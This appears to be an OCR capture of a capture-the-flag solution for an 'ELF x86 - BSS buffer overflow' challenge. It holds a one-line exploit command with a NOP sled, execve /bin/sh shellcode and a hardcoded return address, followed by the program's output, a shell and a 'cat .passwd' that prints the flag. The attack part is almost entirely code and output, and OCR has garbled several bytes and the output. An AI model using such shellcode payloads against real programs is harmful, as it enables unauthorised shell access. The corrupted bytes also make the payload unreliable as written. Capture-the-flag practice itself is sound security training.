ELF x86 - BSS buffer
overflow

./ch7 “python -c 'print "\x90"*483 +
"\X31\xcO0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0
\X0b\xcd\x80" + "\xac\xfd\xff\xbf"'

[+] Running program with username :
V000000000000000000000000000000000000000000000000000000
9000
9000000000000000000000000000000000000000000000000000000
0000
V000000000000000000000000000000000000000000000000000000
0000
9000000000000000000000000000000000000000000000000000000
9000
0000000000000000000000000000000000000000000000000000000
0000
0000000000000000000000000000000000000000000000000000000
€000
V000000000000000000000000000000000000000000000000000000
9000
V000000000000000000000000000000000000000000000000000000
0000

V0000000000000 001OPhN/shh//LIOORSOO

‘@@

$ cat .passwd

aod8r2flq:;oe
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